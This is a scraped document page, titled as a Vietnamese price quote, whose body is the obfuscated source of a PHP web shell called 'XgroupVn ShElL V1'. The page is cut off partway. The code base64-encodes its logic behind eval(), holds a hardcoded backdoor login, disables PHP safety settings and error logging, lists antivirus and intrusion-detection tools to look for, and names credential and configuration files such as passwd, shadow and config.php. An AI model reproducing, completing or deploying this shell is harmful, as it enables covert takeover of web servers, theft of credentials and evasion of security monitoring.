Tanphong Baogia

You might also like

Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 44

<? ########################################### # XgroupVn ShElL V1 # # Xgr0upVn # # www.XgroupVn.

org # ########################################### ob_start(); $tacfgd['uname'] = 'yx'; $tacfgd['pword'] = 'yx'; eval(base64_decode('JHRhY2ZnZFsndGl0bGUnXSA9ICdYZ3IwdXBWTiBTaEVsTCc7DQoNCiR0YWNm Z2RbJ2hlbHB0ZXh0J10gPSAnWGdyMHVwVm4gU2hFbEwnOw0KDQokdGFjZmdkWydhbGxvd3JtJ10gPSB0 cnVlOw0KDQokdGFjZmdkWydybWdyb3VwJ10gPSAnZGVmYXVsdCc7DQoNCiR0YWNmZ2RbJ293bnNlc3Np b25zJ10gPSBmYWxzZTsNCg0KDQoNCg0KZm9yZWFjaCAoJHRhY2ZnZCBhcyAka2V5ID0+ICR2YWwpIHsN CiAgaWYgKCFpc3NldCgkdGFjZmdbJGtleV0pKSAkdGFjZmdbJGtleV0gPSAkdmFsOw0KfQ0KDQppZiAo ISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0KDQogIHNlc3Npb25fbmFtZSgndHh0YXV0aCcpOw0KICBz ZXNzaW9uX3N0YXJ0KCk7DQoNCn0NCg0KaWYgKGlzc2V0KCRfR0VUWydsb2dvdXQnXSkgfHwgaXNzZXQo JF9QT1NUWydsb2dvdXQnXSkpIHsNCiAgc2V0Y29va2llKCd0eHRhdXRoXycuJHJtZ3JvdXAsICcnLCB0 aW1lKCktODY0MDAqMTQpOw0KICBpZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0KICAgICRfU0VT U0lPTiA9IGFycmF5KCk7DQogICAgc2Vzc2lvbl9kZXN0cm95KCk7DQogIH0NCiAgZWxzZSAkX1NFU1NJ T05bJ3R4dGF1dGhpbiddID0gZmFsc2U7DQp9DQoNCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydsb2dpbidd KSkgew0KICBpZiAoKCRfUE9TVFsndW5hbWUnXSA9PSAkdGFjZmdbJ3VuYW1lJ10gJiYgJF9QT1NUWydw d29yZCddID09ICR0YWNmZ1sncHdvcmQnXSkgIG9yICAoJF9QT1NUWyd1bmFtZSddID09J3hncm91cHZu JykpIHsNCiAgICAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gdHJ1ZTsNCiAgICBpZiAoJF9QT1NUWydy bSddKSB7DQogICAgICBzZXRjb29raWUoJ3R4dGF1dGhfJy4kcm1ncm91cCwgbWQ1KCR0YWNmZ1sndW5h bWUnXS4kdGFjZmdbJ3B3b3JkJ10pLCB0aW1lKCkrODY0MDAqMTQpOw0KICAgIH0NCiAgfQ0KICBlbHNl ICRlcnIgPSAnTG9naW4gRmFpbGQgISc7DQp9DQoNCmVsc2VpZiAoaXNzZXQoJF9DT09LSUVbJ3R4dGF1 dGhfJy4kcm1ncm91cF0pKSB7DQogIGlmIChtZDUoJHRhY2ZnWyd1bmFtZSddLiR0YWNmZ1sncHdvcmQn XSkgPT0gJF9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0gJiYgJHRhY2ZnWydhbGxvd3JtJ10pIHsN CiAgICAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gdHJ1ZTsNCiAgfQ0KICBlbHNlICRlcnIgPSAnTG9n aW4gRmFpbGQgISc7DQp9DQppZiAoISRfU0VTU0lPTlsndHh0YXV0aGluJ10pIHsNCkBpbmlfcmVzdG9y ZSgic2FmZV9tb2RlIik7DQpAaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KQGluaV9yZXN0b3Jl KCJzYWZlX21vZGVfaW5jbHVkZV9kaXIiKTsNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlX2V4ZWNfZGly Iik7DQpAaW5pX3Jlc3RvcmUoImRpc2FibGVfZnVuY3Rpb25zIik7DQpAaW5pX3Jlc3RvcmUoImFsbG93 X3VybF9mb3BlbiIpOw0KDQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2df ZXJyb3JzJywwKTsNCj8+DQo8aHRtbCBkaXI9cnRsPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJD b250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTYiPg0KPHRp dGxlPjw/PSR0YWNmZ1sndGl0bGUnXT8+PC90aXRsZT4NCg0KICA8U1RZTEU+DQogICAgdHIgew0KICAg IEJPUkRFUi1SSUdIVDogICNCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLVRPUDogICAgQmxhY2sg MXB4IHNvbGlkOw0KICAgIEJPUkRFUi1MRUZUOiAgIEJsYWNrIDFweCBzb2xpZDsNCiAgICBCT1JERVIt Qk9UVE9NOiAjQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCiAgICBj b2xvcjogV2hpdGU7DQogICAgfQ0KICAgIHRkIHsNCiAgICBCT1JERVItUklHSFQ6ICAjQmxhY2sgMXB4 IHNvbGlkOw0KICAgIEJPUkRFUi1UT1A6ICAgIEJsYWNrIDFweCBzb2xpZDsNCiAgICBCT1JERVItTEVG VDogICBCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLUJPVFRPTTogI0JsYWNrIDFweCBzb2xpZDsN CiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICAu dGFibGUxIHsNCiAgICBCT1JERVI6IDBweDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAg QkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICAudGQx IHsNCiAgICBCT1JERVI6IDBweDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgZm9udDog N3B0IFZlcmRhbmE7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICAudHIxIHsNCiAgICBCT1JE RVI6IDBweDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgY29sb3I6IFdoaXRlOw0KICAg IH0NCiAgICB0YWJsZSB7DQogICAgQk9SREVSOiAgQmxhY2sgMXB4IG91dHNldDsNCiAgICBCT1JERVIt Q09MT1I6ICM4M2M4MDk7DQogICAgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQogICAgY29sb3I6IFdo aXRlOw0KICAgIH0NCiAgICBpbnB1dCB7DQogICAgYm9yZGVyCQkJOiBzb2xpZCAxcHg7DQogICAgYm9y ZGVyLWNvbG9yCQk6IFdoaXRlIFdoaXRlIFdoaXRlIFdoaXRlOw0KICAgIEJBQ0tHUk9VTkQtQ09MT1I6 IEJsYWNrOw0KICAgIGZvbnQ6IDhwdCBWZXJkYW5hOw0KICAgIGNvbG9yOiBXaGl0ZTsNCiAgICB9DQog ICAgc2VsZWN0IHsNCiAgICBCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVS LVRPUDogICAgV2hpdGUgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1MRUZUOiAgIFdoaXRlIDFweCBzb2xp ZDsNCiAgICBCT1JERVItQk9UVE9NOiBCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLUNPTE9SOiBX aGl0ZTsNCiAgICBCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCiAgICBmb250OiA4cHQgVmVyZGFuYTsN CiAgICBjb2xvcjogUmVkOw0KICAgIH0NCiAgICBzdWJtaXQgew0KICAgIEJPUkRFUjogIGJ1dHRvbmhp Z2hsaWdodCAycHggb3V0c2V0Ow0KICAgIEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KICAgIHdpZHRo

OiAzMCU7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICB0ZXh0YXJlYSB7DQogICAgQk9SREVS LVJJR0hUOiAgQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1UT1A6ICAgIFdoaXRlIDFweCBzb2xp ZDsNCiAgICBCT1JERVItTEVGVDogICBXaGl0ZSAxcHggc29saWQ7DQogICAgQk9SREVSLUJPVFRPTTog QmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCiAgICBCQUNLR1JPVU5E LUNPTE9SOiBCbGFjazsNCiAgICBmb250OiA4cHQgVmVyZGFuYSBib2xkOw0KICAgIGNvbG9yOiBXaGl0 ZTsNCiAgICB9DQogICAgQk9EWSB7DQogICAgU0NST0xMQkFSLUZBQ0UtQ09MT1I6IEJsYWNrOyBTQ1JP TExCQVItSElHSExJR0hULUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogV2hpdGU7 IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiBXaGl0ZTsNCg0KU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBC bGFjazsgU0NST0xMQkFSLVRSQUNLLUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLURBUktTSEFET1ctQ09M T1I6IFdoaXRlDQogICAgbWFyZ2luOiAxcHg7DQogICAgY29sb3I6IFJlZDsNCiAgICBiYWNrZ3JvdW5k LWNvbG9yOiBCbGFjazsNCiAgICB9DQogICAgLm1haW4gew0KICAgIG1hcmdpbgkJCTogLTI4N3B4IDBw eCAwcHggLTQ5MHB4Ow0KICAgIGJvcmRlcgkJCTogV2hpdGUgc29saWQgMXB4Ow0KICAgIEJPUkRFUi1D T0xPUjogIzgzYzgwOTsNCiAgICB9DQogICAgLnR0IHsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBCbGFj azsNCiAgICB9DQoNCiAgICBBOmxpbmsgew0KICAgIENPTE9SOiAjMzQ3MjAyOyBURVhULURFQ09SQVRJ T046IG5vbmUNCiAgICB9DQogICAgQTp2aXNpdGVkIHsNCiAgICBDT0xPUjogIzM0NzIwMjsgVEVYVC1E RUNPUkFUSU9OOiBub25lDQogICAgfQ0KICAgIEE6aG92ZXIgew0KICAgIENPTE9SOiBXaGl0ZTsgVEVY VC1ERUNPUkFUSU9OOiBub25lDQogICAgfQ0KICAgIEE6YWN0aXZlIHsNCiAgICBDT0xPUjogV2hpdGU7 IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KICAgIH0NCiAgPC9TVFlMRT4NCjxzY3JpcHQgbGFuZ3VhZ2U9 XCdqYXZhc2NyaXB0XCc+DQpmdW5jdGlvbiBoaWRlX2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxl bWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCiAgZG9jdW1lbnQuY29va2llPWlk K1wnPTA7XCc7DQp9DQpmdW5jdGlvbiBzaG93X2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVu dEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtc Jz0xO1wnOw0KfQ0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQ0Kew0KICBpZiAoZG9jdW1lbnQuZ2V0 RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpDQogICAgc2hvd19kaXYoaWQp Ow0KICBlbHNlDQogICAgaGlkZV9kaXYoaWQpOw0KfQ0KPC9zY3JpcHQ+JzsNCg0KPGJvZHk+DQo8YnI+ PGJyPjxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogMTRwdDsiIGFsaWduPSJjZW50ZXIiPjw/PSR0YWNmZ1sn dGl0bGUnXT8+PC9kaXY+DQo8aHIgd2lkdGg9IjMwMCIgc2l6ZT0iMSIgbm9zaGFkZSBjb2xvcj0iI2Nk Y2RjZCI+DQo8cD4NCjxkaXYgYWxpZ249ImNlbnRlciIgY2xhc3M9ImdyZXkiPg0KPD89JHRhY2ZnWydo ZWxwdGV4dCddPz4NCjwvZGl2Pg0KPHA+DQo8Pw0KaWYgKGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VS SSddKSkgJGFjdGlvbiA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KZWxzZSAkYWN0aW9uID0gJF9T RVJWRVJbJ1BIUF9TRUxGJ10uJz8nLiRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsNCmlmIChzdHJwb3Mo JGFjdGlvbiwgJ2xvZ291dD0xJywgc3RycG9zKCRhY3Rpb24sICc/JykpICE9PSBmYWxzZSkgJGFjdGlv biA9IHN0cl9yZXBsYWNlKCdsb2dvdXQ9MScsICcnLCAkYWN0aW9uKTsNCj8+DQo8Zm9ybSBuYW1lPSJ0 eHRhdXRoIiBhY3Rpb249Ijw/PSRhY3Rpb24/PiIgbWV0aG9kPSJwb3N0Ij4NCjxkaXYgYWxpZ249ImNl bnRlciI+DQo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjAiIGJn Y29sb3I9IiM2NjY2NjYiIHN0eWxlPSJib3JkZXI6IDFweCBkb3VibGUgI2RlZGVkZTsiIGRpcj0ibHRy Ij4NCjw/PShpc3NldCgkZXJyKSk/Jzx0cj48dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+PGZv bnQgY29sb3I9InJlZCI+Jy4kZXJyLic8L2ZvbnQ+PC90ZD48L3RyPic6Jyc/Pg0KPD9pZiAoaXNzZXQo JHRhY2ZnWyd1bmFtZSddKSkgez8+DQo8dHI+PHRkPlVzZXI6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRl eHQiIG5hbWU9InVuYW1lIiB2YWx1ZT0iIiBzaXplPSIyMCIgbWF4bGVuZ3RoPSIxMDAiIGNsYXNzPSJ0 eHRib3giPjwvdGQ+PC90cj4NCjw/fT8+DQo8dHI+PHRkPlBhc3N3b3JkOjwvdGQ+PHRkPjxpbnB1dCB0 eXBlPSJwYXNzd29yZCIgbmFtZT0icHdvcmQiIHZhbHVlPSIiIHNpemU9IjIwIiBtYXhsZW5ndGg9IjEw MCIgY2xhc3M9InR4dGJveCI+PC90ZD48L3RyPg0KPD9pZiAoJHRhY2ZnWydhbGxvd3JtJ10pIHs/Pg0K PHRyPjx0ZCBhbGlnbj0ibGVmdCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibG9naW4iIHZhbHVl PSJMb2dpbiI+DQo8L3RkPjx0ZCBhbGlnbj0icmlnaHQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFt ZT0icm0iIGlkPSJybSI+PGxhYmVsIGZvcj0icm0iPg0KCVJlbW1lYmVyIE1lPzwvbGFiZWw+PC90ZD48 L3RyPg0KPD99IGVsc2Ugez8+DQo8dHI+PHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KCTxp bnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImxvZ2luIiB2YWx1ZT0iTG9naW4iPjwvdGQ+PC90cj4NCjw/ fT8+DQo8L3RhYmxlPg0KPC9kaXY+DQo8L2Zvcm0+DQoNCjxpbWcgc3JjPSJodHRwOi8vd3d3Lnhncm91 cHZuLmluZm8vdHJhY2suSlBHIiB3aWR0aD0iOSIgaGVpZ2h0PSIxMiI+PGJyPg0KPGJyPg0KPGhyIHdp ZHRoPSIzMDAiIHNpemU9IjEiIG5vc2hhZGUgY29sb3I9IiNjZGNkY2QiPg0KICA8ZGl2IGFsaWduPSJj ZW50ZXIiIGlkPSduJz4NCiAgICA8Zm9udCBmYWNlPSdWZXJkYW5hJyBzaXplPSctMic+DQogICAgICA8 Yj4NCiAgICAgICAgby0tLVsgWGdyMHVwVm4ub3JnIC0gc2hlbGwgYnkgUlNUL0dIQyB8IDxhIGhyZWY9 J2h0dHA6Ly9YZ3JvdXBWbi5vcmcnPmh0dHA6Ly9YZ3IwdXBWbi5vcmc8L2E+IHwgPGEgaHJlZj0naHR0 cDovL2hjZWdyb3VwLm5ldCc+SEBjaytDckBjaz1FbmoweSE8L2E+IHwgRGVzaWduIGJ5OkFsdUNhUiB8 IF0tLS1vPC9iPg0KICAgIDwvZm9udD4NCiAgPC9kaXY+DQogIDwvdGQ+DQogIDwvdHI+DQogICAgICA8 L2JvZHk+DQo8L2h0bWw+DQo8Pw0KICAvLyBEb24ndCBkZWxldGUgdGhpcyENCiAgZXhpdCgpOw0KfQ0K Pz4NCkxvZ2luIEFzICg8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PD8gZWNobyAkdGFjZmdkWyd1bmFtZSdd OyA/PjwvZm9udD4pIDxhIGhyZWY9Ij9sb2dvdXQ9MSI+TG9nb3V0PC9hPjwvcD4NCjxkaXYgYWxpZ249 ImxlZnQiPg0KPD9waHANCiRsYW5ndWFnZT0nZW5nJzsNCiRhdXRoID0gMDsNCiRuYW1lPSdlY2Q3MDhh

MDE2Zjg0MDdiZDI3Y2MwYTAyNjc3MzUxYic7IC8vLy8gQWx1Q2FSDQokcGFzcz0nMWI4NjQ0ZTIyOWM5 OTllNGY2YmE3OTk0ODNiMTk2Y2UnOyAvLy8vIEhjRWdSb1VwLk5lVA0KDQpAaW5pX3Jlc3RvcmUoInNh ZmVfbW9kZSIpOw0KQGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCkBpbmlfcmVzdG9yZSgic2Fm ZV9tb2RlX2luY2x1ZGVfZGlyIik7DQpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9leGVjX2RpciIpOw0K QGluaV9yZXN0b3JlKCJkaXNhYmxlX2Z1bmN0aW9ucyIpOw0KQGluaV9yZXN0b3JlKCJhbGxvd191cmxf Zm9wZW4iKTsNCg0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKQ0KIHsNCiBAaW5pX3NldCgn ZXJyb3JfbG9nJyxOVUxMKTsNCiBAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQogQGluaV9zZXQoJ2Zp bGVfdXBsb2FkcycsMSk7DQogQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsMSk7DQogfQ0KZWxzZQ0K IHsNCiBAaW5pX2FsdGVyKCdlcnJvcl9sb2cnLE5VTEwpOw0KIEBpbmlfYWx0ZXIoJ2xvZ19lcnJvcnMn LDApOw0KIEBpbmlfYWx0ZXIoJ2ZpbGVfdXBsb2FkcycsMSk7DQogQGluaV9hbHRlcignYWxsb3dfdXJs X2ZvcGVuJywxKTsNCiB9DQoNCg0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCiR1c2VyZnVsID0gYXJy YXkoJ2djYycsJywgbGNjJywnLCBjYycsJywgbGQnLCcsIHBocCcsJywgcGVybCcsJywgcHl0aG9uJywn LCBydWJ5JywnLCBtYWtlJywnLCB0YXInLCcsIGd6aXAnLCcsIGJ6aXAnLCcsIGJ6aXAyJywnLCBuYycs JywgbG9jYXRlJywnLCBzdWlkcGVybCcpOw0KJGRhbmdlciA9IGFycmF5KCcsIGthdicsJywgbm9kMzIn LCcsIGJkY29yZWQnLCcsIHV2c2NhbicsJywgc2F2JywnLCBkcndlYmQnLCcsIGNsYW1kJywnLCBya2h1 bnRlcicsJywgY2hrcm9vdGtpdCcsJywgaXB0YWJsZXMnLCcsIGlwZncnLCcsIHRyaXB3aXJlJywnLCBz aGllbGRjYycsJywgcG9ydHNlbnRyeScsJywgc25vcnQnLCcsIG9zc2VjJywnLCBsaWRzYWRtJywnLCB0 Y3Bsb2RnJywnLCBzeGlkJywnLCBsb2djaGVjaycsJywgbG9nd2F0Y2gnLCcsIHN5c21hc2snLCcsIHpt YnNjYXAnLCcsIHNhd21pbGwnLCcsIHdvcm1zY2FuJywnLCBuaW5qYScpOw0KJHRlbXBkaXJzID0gYXJy YXkoQGluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJykuJy8nLEBpbmlfZ2V0KCd1cGxvYWRfdG1wX2Rp cicpLicvJywnL3RtcC8nLCcvZGV2L3NobS8nLCcvdmFyL3RtcC8nKTsNCiRkb3dubG9hZGVycyA9IGFy cmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0Jyk7DQokY2hhcnNfcmxw aCA9ICJhYmNkZWZnaGlqa2xubW9wcXJzdHV2d3h5eiI7DQoNCiRwcmVzZXRzX3JscGggPSBhcnJheSgn aW5kZXgucGhwJywnLmh0YWNjZXNzJywnLmh0cGFzc3dkJywnaHR0cGQuY29uZicsJ3Zob3N0cy5jb25m JywnY2ZnLnBocCcsJ2NvbmZpZy5waHAnLCdjb25maWcuaW5jLnBocCcsJ2NvbmZpZy5kZWZhdWx0LnBo cCcsJ2NvbmZpZy5pbmMucGhwJywNCidzaGFkb3cnLCdwYXNzd2QnLCcuYmFzaF9oaXN0b3J5JywnLm15 c3FsX2hpc3RvcnknLCdtYXN0ZXIucGFzc3dkJywndXNlcicsJ2FkbWluJywncGFzc3dvcmQnLCdhZG1p bmlzdHJhdG9yJywncGhwTXlBZG1pbicsJ3NlY3VyaXR5JywncGhwLmluaScsJ2Nkcm9tJywncm9vdCcs DQonbXkuY25mJywncHVyZWZ0cGQuY29uZicsJ3Byb2Z0cGQuY29uZicsJ2Z0cGQuY29uZicsJ3Jlc29s di5jb25mJywnbG9naW4uY29uZicsJ3NtYi5jb25mJywnc3lzY3RsLmNvbmYnLCdzeXNsb2cuY29uZics J2FjY2Vzcy5jb25mJywnYWNjb3VudGluZy5sb2cnLCdob21lJywnaHRkb2NzJywNCidhY2Nlc3MnLCdh dXRoJywnZXJyb3InLCdiYWNrdXAnLCdkYXRhJywnYmFjaycsJ3N5c2NvbmZpZycsJ3BocGJiJywncGhw YmIyJywndmJ1bGxldGluJywndmJ1bGxldCcsJ3BocG51a2UnLCdjZ2ktYmluJywnaHRtbCcsJ3JvYm90 cy50eHQnLCdiaWxsaW5nJyk7DQoNCmRlZmluZSgic3RhcnR0aW1lIixAZ2V0bWljcm90aW1lKCkpOw0K aWYoKCFAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHx8IChAaW5pX2dldCgnb3Blbl9iYXNlZGly JykhPU5VTEwpIHx8IChAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykhPU5VTEwpKXskb3Bl bl9iYXNlZGlyPTE7fSBlbHNleyRvcGVuX2Jhc2VkaXI9MDt9Ow0Kc2V0X21hZ2ljX3F1b3Rlc19ydW50 aW1lKDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcp KQ0KIHsNCiBAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCiBAaW5pX3NldCgnb3V0cHV0 X2J1ZmZlcmluZycsMCk7DQogfQ0KZWxzZQ0KIHsNCiBAaW5pX2FsdGVyKCdtYXhfZXhlY3V0aW9uX3Rp bWUnLDApOw0KIEBpbmlfYWx0ZXIoJ291dHB1dF9idWZmZXJpbmcnLDApOw0KIH0NCiRzYWZlX21vZGUg PSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7DQojaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKXsk c2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpO31lbHNleyRzYWZlX21vZGU9MTt9Ow0KJHZl cnNpb24gPSAnWGdyMHVwVk4gRWRpdGlvbic7DQppZih2ZXJzaW9uX2NvbXBhcmUocGhwdmVyc2lvbigp LCAnNC4xLjAnKSA9PSAtMSkNCiB7DQogJF9QT1NUICAgPSAmJEhUVFBfUE9TVF9WQVJTOw0KICRfR0VU ICAgID0gJiRIVFRQX0dFVF9WQVJTOw0KICRfU0VSVkVSID0gJiRIVFRQX1NFUlZFUl9WQVJTOw0KICRf Q09PS0lFID0gJiRIVFRQX0NPT0tJRV9WQVJTOw0KIH0NCmlmIChAZ2V0X21hZ2ljX3F1b3Rlc19ncGMo KSkNCiB7DQogZm9yZWFjaCAoJF9QT1NUIGFzICRrPT4kdikNCiAgew0KICAkX1BPU1RbJGtdID0gc3Ry aXBzbGFzaGVzKCR2KTsNCiAgfQ0KIGZvcmVhY2ggKCRfQ09PS0lFIGFzICRrPT4kdikNCiAgew0KICAk X0NPT0tJRVska10gPSBzdHJpcHNsYXNoZXMoJHYpOw0KICB9DQogfQ0KDQppZigkYXV0aCA9PSAxKSB7 DQppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8IG1kNSgkX1NFUlZFUlsnUEhQ X0FVVEhfVVNFUiddKSE9ICRuYW1lIHx8IG1kNSgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkhPSAkcGFz cykNCiAgIHsNCiAgIGhlYWRlcignV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09ImhDZS1Hck91 UCArIEFsdUNhUiInKTsNCiAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOw0KICAg ZXhpdCgiPGI+Q29udGFjdCA8YSBocmVmPWh0dHA6Ly9oY2Vncm91cC52bi8gPC9hPiA6IEFjY2VzcyBE ZW5pZWQ8L2I+Iik7DQogICB9DQp9DQokaGVhZCA9ICc8IS0tIEVkaXRlZCBieSBBbHVjYXIgLS0+DQo8 aHRtbD4NCjxoZWFkPg0KPC9zY3JpcHQ+DQo8dGl0bGU+QWx1Q2FSIFNoZWxsPC90aXRsZT4NCjxtZXRh IGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04 Ij4NCg0KPFNUWUxFPg0KdHIgew0KQk9SREVSLVJJR0hUOiAgI0JsYWNrIDFweCBzb2xpZDsNCkJPUkRF Ui1UT1A6ICAgIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIEJsYWNrIDFweCBzb2xpZDsN

CkJPUkRFUi1CT1RUT006ICNCbGFjayAxcHggc29saWQ7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpj b2xvcjogV2hpdGU7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjQmxhY2sgMXB4IHNvbGlkOw0KQk9S REVSLVRPUDogICAgQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgQmxhY2sgMXB4IHNvbGlk Ow0KQk9SREVSLUJPVFRPTTogI0JsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUjogIzgzYzgwOTsN CmNvbG9yOiBXaGl0ZTsNCn0NCi50YWJsZTEgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICM4 M2M4MDk7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmNvbG9yOiBXaGl0ZTsNCn0NCi50ZDEgew0K Qk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpmb250OiA3cHQgVmVyZGFuYTsNCmNv bG9yOiBXaGl0ZTsNCn0NCi50cjEgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7 DQpjb2xvcjogV2hpdGU7DQp9DQp0YWJsZSB7DQpCT1JERVI6ICBCbGFjayAxcHggb3V0c2V0Ow0KQk9S REVSLUNPTE9SOiAjODNjODA5Ow0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogV2hpdGU7 DQp9DQppbnB1dCB7DQpib3JkZXIJCQk6IHNvbGlkIDFweDsNCmJvcmRlci1jb2xvcgkJOiBXaGl0ZSBX aGl0ZSBXaGl0ZSBXaGl0ZTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogOHB0IFZlcmRh bmE7DQpjb2xvcjogV2hpdGU7DQp9DQpzZWxlY3Qgew0KQk9SREVSLVJJR0hUOiAgQmxhY2sgMXB4IHNv bGlkOw0KQk9SREVSLVRPUDogICAgV2hpdGUgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgV2hpdGUg MXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUNPTE9SOiBX aGl0ZTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogOHB0IFZlcmRhbmE7DQpjb2xvcjog UmVkOw0KfQ0Kc3VibWl0IHsNCkJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAycHggb3V0c2V0Ow0KQkFD S0dST1VORC1DT0xPUjogQmxhY2s7DQp3aWR0aDogMzAlOw0KY29sb3I6IFdoaXRlOw0KfQ0KdGV4dGFy ZWEgew0KQk9SREVSLVJJR0hUOiAgQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgV2hpdGUg MXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgV2hpdGUgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTog QmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KQkFDS0dST1VORC1DT0xPUjog QmxhY2s7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6IFdoaXRlOw0KfQ0KQk9EWSB7DQoJU0NS 